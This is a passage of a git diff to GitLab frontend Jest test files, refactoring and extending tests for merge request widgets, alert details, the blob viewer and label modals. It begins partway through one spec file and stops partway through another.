expect(tooltipText).toContain(`${build.name} (${build.coverage}%)`);
},
);
+
+ describe.each`
+ style | coverageState | coverageChangeText | styleClass | pipelineCoverageDelta
+ ${'no special'} | ${'the same'} | ${'not change'} | ${''} | ${'0'}
+ ${'success'} | ${'increased'} | ${'increase'} | ${'text-success'} | ${'10'}
+ ${'danger'} | ${'decreased'} | ${'decrease'} | ${'text-danger'} | ${'-10'}
+ `(
+ 'if test coverage is $coverageState',
+ ({ style, styleClass, coverageChangeText, pipelineCoverageDelta }) => {
+ it(`coverage delta should have ${style}`, () => {
+ createWrapper({ pipelineCoverageDelta });
+ expect(findPipelineCoverageDelta().classes()).toEqual(styleClass ? [styleClass] : []);
+ });
+
+ it(`coverage delta tooltip should say that the coverage will ${coverageChangeText}`, () => {
+ createWrapper({ pipelineCoverageDelta });
+ expect(findPipelineCoverageDeltaTooltipText()).toContain(coverageChangeText);
+ });
+ },
+ );
});
});
@@ -163,7 +182,7 @@ describe('MRWidgetPipeline', () => {
});
it('should render coverage information', () => {
- expect(findPipelineCoverage().text()).toMatch(`Coverage ${mockData.pipeline.coverage}%`);
+ expect(findPipelineCoverage().text()).toMatch(`Test coverage ${mockData.pipeline.coverage}%`);
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_auto_merge_enabled_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_auto_merge_enabled_spec.js
index 4dd1bd2aa9c..1af96717b56 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_auto_merge_enabled_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_auto_merge_enabled_spec.js
@@ -28,11 +28,11 @@ function convertPropsToGraphqlState(props) {
};
}
-function factory(propsData) {
+function factory(propsData, stateOverride = {}) {
let state = {};
if (mergeRequestWidgetGraphqlEnabled) {
- state = convertPropsToGraphqlState(propsData);
+ state = { ...convertPropsToGraphqlState(propsData), ...stateOverride };
}
wrapper = extendedWrapper(
@@ -125,7 +125,7 @@ describe('MRWidgetAutoMergeEnabled', () => {
},
);
- it('should return false when shouldRemoveSourceBranch set to false', () => {
+ it('should not find "Delete" button when shouldRemoveSourceBranch set to true', () => {
factory({
...defaultMrProps(),
shouldRemoveSourceBranch: true,
@@ -134,6 +134,29 @@ describe('MRWidgetAutoMergeEnabled', () => {
expect(wrapper.findByTestId('removeSourceBranchButton').exists()).toBe(false);
});
+ it('should find "Delete" button when shouldRemoveSourceBranch overrides state.forceRemoveSourceBranch', () => {
+ factory(
+ {
+ ...defaultMrProps(),
+ shouldRemoveSourceBranch: false,
+ },
+ {
+ forceRemoveSourceBranch: true,
+ },
+ );
+
+ expect(wrapper.findByTestId('removeSourceBranchButton').exists()).toBe(true);
+ });
+
+ it('should find "Delete" button when shouldRemoveSourceBranch set to false', () => {
+ factory({
+ ...defaultMrProps(),
+ shouldRemoveSourceBranch: false,
+ });
+
+ expect(wrapper.findByTestId('removeSourceBranchButton').exists()).toBe(true);
+ });
+
it('should return false if user is not able to remove the source branch', () => {
factory({
...defaultMrProps(),
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
index dc2f227b29c..fee78d3af94 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_conflicts_spec.js
@@ -1,4 +1,3 @@
-import { GlPopover } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import { TEST_HOST } from 'helpers/test_constants';
import { removeBreakLine } from 'helpers/text_helper';
@@ -10,7 +9,6 @@ describe('MRWidgetConflicts', () => {
let mergeRequestWidgetGraphql = null;
const path = '/conflicts';
- const findPopover = () => wrapper.find(GlPopover);
const findResolveButton = () => wrapper.findByTestId('resolve-conflicts-button');
const findMergeLocalButton = () => wrapper.findByTestId('merge-locally-button');
@@ -219,12 +217,8 @@ describe('MRWidgetConflicts', () => {
});
});
- it('sets resolve button as disabled', () => {
- expect(findResolveButton().attributes('disabled')).toBe('true');
- });
-
- it('shows the popover', () => {
- expect(findPopover().exists()).toBe(true);
+ it('should not allow you to resolve the conflicts', () => {
+ expect(findResolveButton().exists()).toBe(false);
});
});
@@ -241,12 +235,9 @@ describe('MRWidgetConflicts', () => {
});
});
- it('sets resolve button as disabled', () => {
- expect(findResolveButton().attributes('disabled')).toBe(undefined);
- });
-
- it('does not show the popover', () => {
- expect(findPopover().exists()).toBe(false);
+ it('should allow you to resolve the conflicts', () => {
+ expect(findResolveButton().text()).toContain('Resolve conflicts');
+ expect(findResolveButton().attributes('href')).toEqual(TEST_HOST);
});
});
});
diff --git a/spec/frontend/vue_mr_widget/components/states/mr_widget_failed_to_merge_spec.js b/spec/frontend/vue_mr_widget/components/states/mr_widget_failed_to_merge_spec.js
index c1471314c4a..6d8e7056366 100644
--- a/spec/frontend/vue_mr_widget/components/states/mr_widget_failed_to_merge_spec.js
+++ b/spec/frontend/vue_mr_widget/components/states/mr_widget_failed_to_merge_spec.js
@@ -1,69 +1,67 @@
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import failedToMergeComponent from '~/vue_merge_request_widget/components/states/mr_widget_failed_to_merge.vue';
+import { shallowMount } from '@vue/test-utils';
+import { nextTick } from 'vue';
+import StatusIcon from '~/vue_merge_request_widget/components/mr_widget_status_icon.vue';
+import MrWidgetFailedToMerge from '~/vue_merge_request_widget/components/states/mr_widget_failed_to_merge.vue';
import eventHub from '~/vue_merge_request_widget/event_hub';
describe('MRWidgetFailedToMerge', () => {
const dummyIntervalId = 1337;
- let Component;
- let mr;
- let vm;
+ let wrapper;
+
+ const createComponent = (props = {}, data = {}) => {
+ wrapper = shallowMount(MrWidgetFailedToMerge, {
+ propsData: {
+ mr: {
+ mergeError: 'Merge error happened',
+ },
+ ...props,
+ },
+ data() {
+ return data;
+ },
+ });
+ };
beforeEach(() => {
- Component = Vue.extend(failedToMergeComponent);
jest.spyOn(eventHub, '$emit').mockImplementation(() => {});
jest.spyOn(window, 'setInterval').mockReturnValue(dummyIntervalId);
jest.spyOn(window, 'clearInterval').mockImplementation();
- mr = {
- mergeError: 'Merge error happened',
- };
- vm = mountComponent(Component, {
- mr,
- });
});
afterEach(() => {
- vm.$destroy();
- });
-
- it('sets interval to refresh', () => {
- expect(window.setInterval).toHaveBeenCalledWith(vm.updateTimer, 1000);
- expect(vm.intervalId).toBe(dummyIntervalId);
+ wrapper.destroy();
});
- it('clears interval when destroying ', () => {
- vm.$destroy();
+ describe('interval', () => {
+ it('sets interval to refresh', () => {
+ createComponent();
- expect(window.clearInterval).toHaveBeenCalledWith(dummyIntervalId);
- });
-
- describe('computed', () => {
- describe('timerText', () => {
- it('should return correct timer text', () => {
- expect(vm.timerText).toEqual('Refreshing in 10 seconds to show the updated status...');
+ expect(window.setInterval).toHaveBeenCalledWith(wrapper.vm.updateTimer, 1000);
+ expect(wrapper.vm.intervalId).toBe(dummyIntervalId);
+ });
- vm.timer = 1;
+ it('clears interval when destroying ', () => {
+ createComponent();
+ wrapper.destroy();
- expect(vm.timerText).toEqual('Refreshing in a second to show the updated status...');
- });
+ expect(window.clearInterval).toHaveBeenCalledWith(dummyIntervalId);
});
+ });
- describe('mergeError', () => {
- it('removes forced line breaks', (done) => {
- mr.mergeError = 'contains<br />line breaks<br />';
+ describe('mergeError', () => {
+ it('removes forced line breaks', async () => {
+ createComponent({ mr: { mergeError: 'contains<br />line breaks<br />' } });
- Vue.nextTick()
- .then(() => {
- expect(vm.mergeError).toBe('contains line breaks.');
- })
- .then(done)
- .catch(done.fail);
- });
+ await nextTick();
+
+ expect(wrapper.vm.mergeError).toBe('contains line breaks.');
});
});
describe('created', () => {
it('should disable polling', () => {
+ createComponent();
+
expect(eventHub.$emit).toHaveBeenCalledWith('DisablePolling');
});
});
@@ -71,11 +69,13 @@ describe('MRWidgetFailedToMerge', () => {
describe('methods', () => {
describe('refresh', () => {
it('should emit event to request component refresh', () => {
- expect(vm.isRefreshing).toEqual(false);
+ createComponent();
+
+ expect(wrapper.vm.isRefreshing).toBe(false);
- vm.refresh();
+ wrapper.vm.refresh();
- expect(vm.isRefreshing).toEqual(true);
+ expect(wrapper.vm.isRefreshing).toBe(true);
expect(eventHub.$emit).toHaveBeenCalledWith('MRWidgetUpdateRequested');
expect(eventHub.$emit).toHaveBeenCalledWith('EnablePolling');
});
@@ -83,78 +83,76 @@ describe('MRWidgetFailedToMerge', () => {
describe('updateTimer', () => {
it('should update timer and emit event when timer end', () => {
- jest.spyOn(vm, 'refresh').mockImplementation(() => {});
+ createComponent();
+
+ jest.spyOn(wrapper.vm, 'refresh').mockImplementation(() => {});
- expect(vm.timer).toEqual(10);
+ expect(wrapper.vm.timer).toEqual(10);
for (let i = 0; i < 10; i += 1) {
- expect(vm.timer).toEqual(10 - i);
- vm.updateTimer();
+ expect(wrapper.vm.timer).toEqual(10 - i);
+ wrapper.vm.updateTimer();
}
- expect(vm.refresh).toHaveBeenCalled();
+ expect(wrapper.vm.refresh).toHaveBeenCalled();
});
});
});
describe('while it is refreshing', () => {
- it('renders Refresing now', (done) => {
- vm.isRefreshing = true;
-
- Vue.nextTick(() => {
- expect(vm.$el.querySelector('.js-refresh-label').textContent.trim()).toEqual(
- 'Refreshing now',
- );
- done();
- });
+ it('renders Refresing now', async () => {
+ createComponent({}, { isRefreshing: true });
+
+ await nextTick();
+
+ expect(wrapper.find('.js-refresh-label').text().trim()).toBe('Refreshing now');
});
});
describe('while it is not regresing', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
it('renders warning icon and disabled merge button', () => {
- expect(vm.$el.querySelector('.js-ci-status-icon-warning')).not.toBeNull();
- expect(
- vm.$el.querySelector('[data-testid="disabled-merge-button"]').getAttribute('disabled'),
- ).toEqual('disabled');
+ expect(wrapper.find('.js-ci-status-icon-warning')).not.toBeNull();
+ expect(wrapper.find(StatusIcon).props('showDisabledButton')).toBe(true);
});
it('renders given error', () => {
- expect(vm.$el.querySelector('.has-error-message').textContent.trim()).toEqual(
- 'Merge error happened.',
- );
+ expect(wrapper.find('.has-error-message').text().trim()).toBe('Merge error happened.');
});
it('renders refresh button', () => {
expect(
- vm.$el
- .querySelector('[data-testid="merge-request-failed-refresh-button"]')
- .textContent.trim(),
- ).toEqual('Refresh now');
+ wrapper.find('[data-testid="merge-request-failed-refresh-button"]').text().trim(),
+ ).toBe('Refresh now');
});
it('renders remaining time', () => {
- expect(vm.$el.querySelector('.has-custom-error').textContent.trim()).toEqual(
+ expect(wrapper.find('.has-custom-error').text().trim()).toBe(
'Refreshing in 10 seconds to show the updated status...',
);
});
});
- it('should just generic merge failed message if merge_error is not available', (done) => {
- vm.mr.mergeError = null;
+ it('should just generic merge failed message if merge_error is not available', async () => {
+ createComponent({ mr: { mergeError: null } });
- Vue.nextTick(() => {
- expect(vm.$el.innerText).toContain('Merge failed.');
- expect(vm.$el.innerText).not.toContain('Merge error happened.');
- done();
- });
+ await nextTick();
+
+ expect(wrapper.text().trim()).toContain('Merge failed.');
+ expect(wrapper.text().trim()).not.toContain('Merge error happened.');
});
- it('should show refresh label when refresh requested', (done) => {
- vm.refresh();
- Vue.nextTick(() => {
- expect(vm.$el.innerText).not.toContain('Merge failed. Refreshing');
- expect(vm.$el.innerText).toContain('Refreshing now');
- done();
- });
+ it('should show refresh label when refresh requested', async () => {
+ createComponent();
+
+ wrapper.vm.refresh();
+
+ await nextTick();
+
+ expect(wrapper.text().trim()).not.toContain('Merge failed. Refreshing');
+ expect(wrapper.text().trim()).toContain('Refreshing now');
});
});
diff --git a/spec/frontend/vue_shared/alert_details/alert_details_spec.js b/spec/frontend/vue_shared/alert_details/alert_details_spec.js
index 68bcf1dc491..1fc655f1ebc 100644
--- a/spec/frontend/vue_shared/alert_details/alert_details_spec.js
+++ b/spec/frontend/vue_shared/alert_details/alert_details_spec.js
@@ -8,7 +8,7 @@ import { joinPaths } from '~/lib/utils/url_utility';
import Tracking from '~/tracking';
import AlertDetails from '~/vue_shared/alert_details/components/alert_details.vue';
import AlertSummaryRow from '~/vue_shared/alert_details/components/alert_summary_row.vue';
-import { SEVERITY_LEVELS } from '~/vue_shared/alert_details/constants';
+import { PAGE_CONFIG, SEVERITY_LEVELS } from '~/vue_shared/alert_details/constants';
import createIssueMutation from '~/vue_shared/alert_details/graphql/mutations/alert_issue_create.mutation.graphql';
import AlertDetailsTable from '~/vue_shared/components/alert_details_table.vue';
import mockAlerts from './mocks/alerts.json';
@@ -271,7 +271,13 @@ describe('AlertDetails', () => {
});
it('should display a table of raw alert details data', () => {
- expect(findDetailsTable().exists()).toBe(true);
+ const details = findDetailsTable();
+ expect(details.exists()).toBe(true);
+ expect(details.props()).toStrictEqual({
+ alert: mockAlert,
+ statuses: PAGE_CONFIG.OPERATIONS.STATUSES,
+ loading: false,
+ });
});
});
diff --git a/spec/frontend/vue_shared/alert_details/alert_status_spec.js b/spec/frontend/vue_shared/alert_details/alert_status_spec.js
index a866fc13539..c532f688cbd 100644
--- a/spec/frontend/vue_shared/alert_details/alert_status_spec.js
+++ b/spec/frontend/vue_shared/alert_details/alert_status_spec.js
@@ -12,6 +12,7 @@ describe('AlertManagementStatus', () => {
let wrapper;
const findStatusDropdown = () => wrapper.find(GlDropdown);
const findFirstStatusOption = () => findStatusDropdown().find(GlDropdownItem);
+ const findAllStatusOptions = () => findStatusDropdown().findAll(GlDropdownItem);
const selectFirstStatusOption = () => {
findFirstStatusOption().vm.$emit('click');
@@ -131,6 +132,24 @@ describe('AlertManagementStatus', () => {
});
});
+ describe('Statuses', () => {
+ it('renders default translated statuses', () => {
+ mountComponent({});
+ expect(findAllStatusOptions().length).toBe(3);
+ expect(findFirstStatusOption().text()).toBe('Triggered');
+ });
+
+ it('renders translated statuses', () => {
+ const status = 'TEST';
+ const translatedStatus = 'Test';
+ mountComponent({
+ props: { alert: { ...mockAlert, status }, statuses: { [status]: translatedStatus } },
+ });
+ expect(findAllStatusOptions().length).toBe(1);
+ expect(findFirstStatusOption().text()).toBe(translatedStatus);
+ });
+ });
+
describe('Snowplow tracking', () => {
beforeEach(() => {
jest.spyOn(Tracking, 'event');
diff --git a/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_spec.js b/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_spec.js
index 70cf2597963..ef75e038bff 100644
--- a/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_spec.js
+++ b/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_spec.js
@@ -76,20 +76,4 @@ describe('Alert Details Sidebar', () => {
expect(wrapper.find(SidebarStatus).exists()).toBe(true);
});
});
-
- describe('the sidebar renders for threat monitoring', () => {
- beforeEach(() => {
- mock = new MockAdapter(axios);
- mountComponent();
- });
-
- it('should not render side bar status dropdown', () => {
- mountComponent({
- mountMethod: mount,
- alert: mockAlert,
- provide: { isThreatMonitoringPage: true },
- });
- expect(wrapper.find(SidebarStatus).exists()).toBe(false);
- });
- });
});
diff --git a/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_status_spec.js b/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_status_spec.js
index f5b9efb4d98..0014957517f 100644
--- a/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_status_spec.js
+++ b/spec/frontend/vue_shared/alert_details/sidebar/alert_sidebar_status_spec.js
@@ -1,7 +1,9 @@
import { GlDropdown, GlDropdownItem, GlLoadingIcon } from '@gitlab/ui';
import { mount } from '@vue/test-utils';
import updateAlertStatusMutation from '~/graphql_shared/mutations/alert_status_update.mutation.graphql';
+import AlertStatus from '~/vue_shared/alert_details/components/alert_status.vue';
import AlertSidebarStatus from '~/vue_shared/alert_details/components/sidebar/sidebar_status.vue';
+import { PAGE_CONFIG } from '~/vue_shared/alert_details/constants';
import mockAlerts from '../mocks/alerts.json';
const mockAlert = mockAlerts[0];
@@ -12,8 +14,16 @@ describe('Alert Details Sidebar Status', () => {
const findStatusDropdownItem = () => wrapper.find(GlDropdownItem);
const findStatusLoadingIcon = () => wrapper.find(GlLoadingIcon);
const findStatusDropdownHeader = () => wrapper.find('[data-testid="dropdown-header"]');
+ const findAlertStatus = () => wrapper.findComponent(AlertStatus);
+ const findStatus = () => wrapper.find('[data-testid="status"]');
- function mountComponent({ data, sidebarCollapsed = true, loading = false, stubs = {} } = {}) {
+ function mountComponent({
+ data,
+ sidebarCollapsed = true,
+ loading = false,
+ stubs = {},
+ provide = {},
+ } = {}) {
wrapper = mount(AlertSidebarStatus, {
propsData: {
alert: { ...mockAlert },
@@ -32,6 +42,7 @@ describe('Alert Details Sidebar Status', () => {
},
},
stubs,
+ provide,
});
}
@@ -96,8 +107,24 @@ describe('Alert Details Sidebar Status', () => {
jest.spyOn(wrapper.vm.$apollo, 'mutate').mockReturnValue(Promise.reject(new Error()));
findStatusDropdownItem().vm.$emit('click');
expect(findStatusLoadingIcon().exists()).toBe(false);
- expect(wrapper.find('[data-testid="status"]').text()).toBe('Triggered');
+ expect(findStatus().text()).toBe('Triggered');
});
});
});
+
+ describe('Statuses', () => {
+ it('renders default translated statuses', () => {
+ mountComponent({});
+ expect(findAlertStatus().props('statuses')).toBe(PAGE_CONFIG.OPERATIONS.STATUSES);
+ expect(findStatus().text()).toBe('Triggered');
+ });
+
+ it('renders translated statuses', () => {
+ const status = 'TEST';
+ const statuses = { [status]: 'Test' };
+ mountComponent({ data: { alert: { ...mockAlert, status } }, provide: { statuses } });
+ expect(findAlertStatus().props('statuses')).toBe(statuses);
+ expect(findStatus().text()).toBe(statuses.TEST);
+ });
+ });
});
diff --git a/spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap b/spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap
index 1bf757ea312..bab928318ce 100644
--- a/spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap
+++ b/spec/frontend/vue_shared/components/__snapshots__/clone_dropdown_spec.js.snap
@@ -40,6 +40,7 @@ exports[`Clone Dropdown Button rendering matches the snapshot 1`] = `
tag="div"
>
<gl-button-stub
+ aria-label="Copy URL"
buttontextclasses=""
category="primary"
class="d-inline-flex"
@@ -82,6 +83,7 @@ exports[`Clone Dropdown Button rendering matches the snapshot 1`] = `
tag="div"
>
<gl-button-stub
+ aria-label="Copy URL"
buttontextclasses=""
category="primary"
class="d-inline-flex"
diff --git a/spec/frontend/vue_shared/components/alert_details_table_spec.js b/spec/frontend/vue_shared/components/alert_details_table_spec.js
index 49b82cb4d4e..03b04a92bdf 100644
--- a/spec/frontend/vue_shared/components/alert_details_table_spec.js
+++ b/spec/frontend/vue_shared/components/alert_details_table_spec.js
@@ -75,45 +75,62 @@ describe('AlertDetails', () => {
});
describe('with table data', () => {
- beforeEach(mountComponent);
-
- it('renders a table', () => {
- expect(findTableComponent().exists()).toBe(true);
- });
-
- it('renders a cell based on alert data', () => {
- expect(findTableComponent().text()).toContain('SyntaxError: Invalid or unexpected token');
- });
-
- it('should show allowed alert fields', () => {
- const fields = findTableKeys();
-
- expect(findTableField(fields, 'Iid').exists()).toBe(true);
- expect(findTableField(fields, 'Title').exists()).toBe(true);
- expect(findTableField(fields, 'Severity').exists()).toBe(true);
- expect(findTableField(fields, 'Status').exists()).toBe(true);
- expect(findTableField(fields, 'Hosts').exists()).toBe(true);
- expect(findTableField(fields, 'Environment').exists()).toBe(true);
+ describe('default', () => {
+ beforeEach(mountComponent);
+
+ it('renders a table', () => {
+ expect(findTableComponent().exists()).toBe(true);
+ });
+
+ it('renders a cell based on alert data', () => {
+ expect(findTableComponent().text()).toContain('SyntaxError: Invalid or unexpected token');
+ });
+
+ it('should show allowed alert fields', () => {
+ const fields = findTableKeys();
+ ['Iid', 'Title', 'Severity', 'Status', 'Hosts', 'Environment'].forEach((field) => {
+ expect(findTableField(fields, field).exists()).toBe(true);
+ });
+ });
+
+ it('should not show disallowed alert fields', () => {
+ const fields = findTableKeys();
+ ['Typename', 'Todos', 'Notes', 'Assignees'].forEach((field) => {
+ expect(findTableField(fields, field).exists()).toBe(false);
+ });
+ });
});
- it('should not show disallowed alert fields', () => {
- const fields = findTableKeys();
+ describe('environment', () => {
+ it('should display only the name for the environment', () => {
+ mountComponent();
+ expect(findTableFieldValueByKey('Environment').text()).toBe(environmentName);
+ });
- expect(findTableField(fields, 'Typename').exists()).toBe(false);
- expect(findTableField(fields, 'Todos').exists()).toBe(false);
- expect(findTableField(fields, 'Notes').exists()).toBe(false);
- expect(findTableField(fields, 'Assignees').exists()).toBe(false);
- });
+ it('should not display the environment row if there is not data', () => {
+ environmentData = { name: null, path: null };
+ mountComponent();
- it('should display only the name for the environment', () => {
- expect(findTableFieldValueByKey('Environment').text()).toBe(environmentName);
+ expect(findTableFieldValueByKey('Environment').text()).toBeFalsy();
+ });
});
- it('should not display the environment row if there is not data', () => {
- environmentData = { name: null, path: null };
- mountComponent();
-
- expect(findTableFieldValueByKey('Environment').text()).toBeFalsy();
+ describe('status', () => {
+ it('should show the translated status for the default statuses', () => {
+ mountComponent();
+ expect(findTableFieldValueByKey('Status').text()).toBe('Triggered');
+ });
+
+ it('should show the translated status for provided statuses', () => {
+ const translatedStatus = 'Test';
+ mountComponent({ statuses: { TRIGGERED: translatedStatus } });
+ expect(findTableFieldValueByKey('Status').text()).toBe(translatedStatus);
+ });
+
+ it('should show the provided status if value is not defined in statuses', () => {
+ mountComponent({ statuses: {} });
+ expect(findTableFieldValueByKey('Status').text()).toBe('TRIGGERED');
+ });
});
});
});
diff --git a/spec/frontend/vue_shared/components/blob_viewers/__snapshots__/simple_viewer_spec.js.snap b/spec/frontend/vue_shared/components/blob_viewers/__snapshots__/simple_viewer_spec.js.snap
index 023895099b1..06753044e93 100644
--- a/spec/frontend/vue_shared/components/blob_viewers/__snapshots__/simple_viewer_spec.js.snap
+++ b/spec/frontend/vue_shared/components/blob_viewers/__snapshots__/simple_viewer_spec.js.snap
@@ -1,87 +1,88 @@
// Jest Snapshot v1, https://goo.gl/fbAQLP
exports[`Blob Simple Viewer component rendering matches the snapshot 1`] = `
-<div
- class="file-content code js-syntax-highlight"
- data-qa-selector="file_content"
->
+<div>
<div
- class="line-numbers"
+ class="file-content code js-syntax-highlight"
>
- <a
- class="diff-line-num js-line-number"
- data-line-number="1"
- href="#LC1"
- id="L1"
+ <div
+ class="line-numbers"
>
- <gl-icon-stub
- name="link"
- size="12"
- />
+ <a
+ class="diff-line-num js-line-number"
+ data-line-number="1"
+ href="#LC1"
+ id="L1"
+ >
+ <gl-icon-stub
+ name="link"
+ size="12"
+ />
+
+ 1
- 1
-
- </a>
- <a
- class="diff-line-num js-line-number"
- data-line-number="2"
- href="#LC2"
- id="L2"
- >
- <gl-icon-stub
- name="link"
- size="12"
- />
+ </a>
+ <a
+ class="diff-line-num js-line-number"
+ data-line-number="2"
+ href="#LC2"
+ id="L2"
+ >
+ <gl-icon-stub
+ name="link"
+ size="12"
+ />
+
+ 2
- 2
-
- </a>
- <a
- class="diff-line-num js-line-number"
- data-line-number="3"
- href="#LC3"
- id="L3"
- >
- <gl-icon-stub
- name="link"
- size="12"
- />
+ </a>
+ <a
+ class="diff-line-num js-line-number"
+ data-line-number="3"
+ href="#LC3"
+ id="L3"
+ >
+ <gl-icon-stub
+ name="link"
+ size="12"
+ />
+
+ 3
- 3
-
- </a>
- </div>
-
- <div
- class="blob-content"
- >
- <pre
- class="code highlight"
+ </a>
+ </div>
+
+ <div
+ class="blob-content"
>
- <code
- data-blob-hash="foo-bar"
+ <pre
+ class="code highlight"
>
- <span
- id="LC1"
+ <code
+ data-blob-hash="foo-bar"
>
- First
- </span>
-
+ <span
+ id="LC1"
+ >
+ First
+ </span>
+
- <span
- id="LC2"
- >
- Second
- </span>
-
+ <span
+ id="LC2"
+ >
+ Second
+ </span>
+
- <span
- id="LC3"
- >
- Third
- </span>
- </code>
- </pre>
+ <span
+ id="LC3"
+ >
+ Third
+ </span>
+ </code>
+ </pre>
+ </div>
</div>
</div>
`;
diff --git a/spec/frontend/vue_shared/components/blob_viewers/simple_viewer_spec.js b/spec/frontend/vue_shared/components/blob_viewers/simple_viewer_spec.js
index 9a0616343fe..46d4edad891 100644
--- a/spec/frontend/vue_shared/components/blob_viewers/simple_viewer_spec.js
+++ b/spec/frontend/vue_shared/components/blob_viewers/simple_viewer_spec.js
@@ -1,20 +1,31 @@
import { shallowMount } from '@vue/test-utils';
+import waitForPromises from 'helpers/wait_for_promises';
import { HIGHLIGHT_CLASS_NAME } from '~/vue_shared/components/blob_viewers/constants';
import SimpleViewer from '~/vue_shared/components/blob_viewers/simple_viewer.vue';
+import EditorLite from '~/vue_shared/components/editor_lite.vue';
describe('Blob Simple Viewer component', () => {
let wrapper;
const contentMock = `<span id="LC1">First</span>\n<span id="LC2">Second</span>\n<span id="LC3">Third</span>`;
const blobHash = 'foo-bar';
- function createComponent(content = contentMock) {
+ function createComponent(
+ content = contentMock,
+ isRawContent = false,
+ isRefactorFlagEnabled = false,
+ ) {
wrapper = shallowMount(SimpleViewer, {
provide: {
blobHash,
+ glFeatures: {
+ refactorBlobViewer: isRefactorFlagEnabled,
+ },
},
propsData: {
content,
type: 'text',
+ fileName: 'test.js',
+ isRawContent,
},
});
}
@@ -83,4 +94,32 @@ describe('Blob Simple Viewer component', () => {
});
});
});
+
+ describe('Vue refactoring to use Source Editor', () => {
+ const findEditorLite = () => wrapper.find(EditorLite);
+
+ it.each`
+ doesRender | condition | isRawContent | isRefactorFlagEnabled
+ ${'Does not'} | ${'rawContent is not specified'} | ${false} | ${true}
+ ${'Does not'} | ${'feature flag is disabled is not specified'} | ${true} | ${false}
+ ${'Does not'} | ${'both, the FF and rawContent are not specified'} | ${false} | ${false}
+ ${'Does'} | ${'both, the FF and rawContent are specified'} | ${true} | ${true}
+ `(
+ '$doesRender render Editor Lite component in readonly mode when $condition',
+ async ({ isRawContent, isRefactorFlagEnabled } = {}) => {
+ createComponent('raw content', isRawContent, isRefactorFlagEnabled);
+ await waitForPromises();
+
+ if (isRawContent && isRefactorFlagEnabled) {
+ expect(findEditorLite().exists()).toBe(true);
+
+ expect(findEditorLite().props('value')).toBe('raw content');
+ expect(findEditorLite().props('fileName')).toBe('test.js');
+ expect(findEditorLite().props('editorOptions')).toEqual({ readOnly: true });
+ } else {
+ expect(findEditorLite().exists()).toBe(false);
+ }
+ },
+ );
+ });
});
diff --git a/spec/frontend/vue_shared/components/delete_label_modal_spec.js b/spec/frontend/vue_shared/components/delete_label_modal_spec.js
new file mode 100644
index 00000000000..3905690dab4
--- /dev/null
+++ b/spec/frontend/vue_shared/components/delete_label_modal_spec.js
@@ -0,0 +1,64 @@
+import { GlModal } from '@gitlab/ui';
+import { mount } from '@vue/test-utils';
+import { stubComponent } from 'helpers/stub_component';
+import { TEST_HOST } from 'helpers/test_constants';
+import { extendedWrapper } from 'helpers/vue_test_utils_helper';
+import DeleteLabelModal from '~/vue_shared/components/delete_label_modal.vue';
+
+const MOCK_MODAL_DATA = {
+ labelName: 'label 1',
+ subjectName: 'GitLab Org',
+ destroyPath: `${TEST_HOST}/1`,
+};
+
+describe('vue_shared/components/delete_label_modal', () => {
+ let wrapper;
+
+ const createComponent = () => {
+ wrapper = extendedWrapper(
+ mount(DeleteLabelModal, {
+ propsData: {
+ selector: '.js-test-btn',
+ },
+ stubs: {
+ GlModal: stubComponent(GlModal, {
+ template:
+ '<div><slot name="modal-title"></slot><slot></slot><slot name="modal-footer"></slot></div>',
+ }),
+ },
+ }),
+ );
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ const findModal = () => wrapper.find(GlModal);
+ const findPrimaryModalButton = () => wrapper.findByTestId('delete-button');
+
+ describe('template', () => {
+ describe('when modal data is set', () => {
+ beforeEach(() => {
+ createComponent();
+ wrapper.vm.labelName = MOCK_MODAL_DATA.labelName;
+ wrapper.vm.subjectName = MOCK_MODAL_DATA.subjectName;
+ wrapper.vm.destroyPath = MOCK_MODAL_DATA.destroyPath;
+ });
+
+ it('renders GlModal', () => {
+ expect(findModal().exists()).toBe(true);
+ });
+
+ it('displays the label name and subject name', () => {
+ expect(findModal().text()).toContain(
+ `${MOCK_MODAL_DATA.labelName} will be permanently deleted from ${MOCK_MODAL_DATA.subjectName}. This cannot be undone`,
+ );
+ });
+
+ it('passes the destroyPath to the button', () => {
+ expect(findPrimaryModalButton().attributes('href')).toBe(MOCK_MODAL_DATA.destroyPath);
+ });
+ });
+ });
+});
diff --git a/spec/frontend/vue_shared/components/deprecated_modal_spec.js b/spec/frontend/vue_shared/components/deprecated_modal_spec.js
deleted file mode 100644
index b9793ce2d80..00000000000
--- a/spec/frontend/vue_shared/components/deprecated_modal_spec.js
+++ /dev/null
@@ -1,73 +0,0 @@
-import Vue from 'vue';
-import mountComponent from 'helpers/vue_mount_component_helper';
-import DeprecatedModal from '~/vue_shared/components/deprecated_modal.vue';
-
-const modalComponent = Vue.extend(DeprecatedModal);
-
-describe('DeprecatedModal', () => {
- let vm;
-
- afterEach(() => {
- vm.$destroy();
- });
-
- describe('props', () => {
- describe('without primaryButtonLabel', () => {
- beforeEach(() => {
- vm = mountComponent(modalComponent, {
- primaryButtonLabel: null,
- });
- });
-
- it('does not render a primary button', () => {
- expect(vm.$el.querySelector('.js-primary-button')).toBeNull();
- });
- });
-
- describe('with id', () => {
- describe('does not render a primary button', () => {
- beforeEach(() => {
- vm = mountComponent(modalComponent, {
- id: 'my-modal',
- });
- });
-
- it('assigns the id to the modal', () => {
- expect(vm.$el.querySelector('#my-modal.modal')).not.toBeNull();
- });
-
- it('does not show the modal immediately', () => {
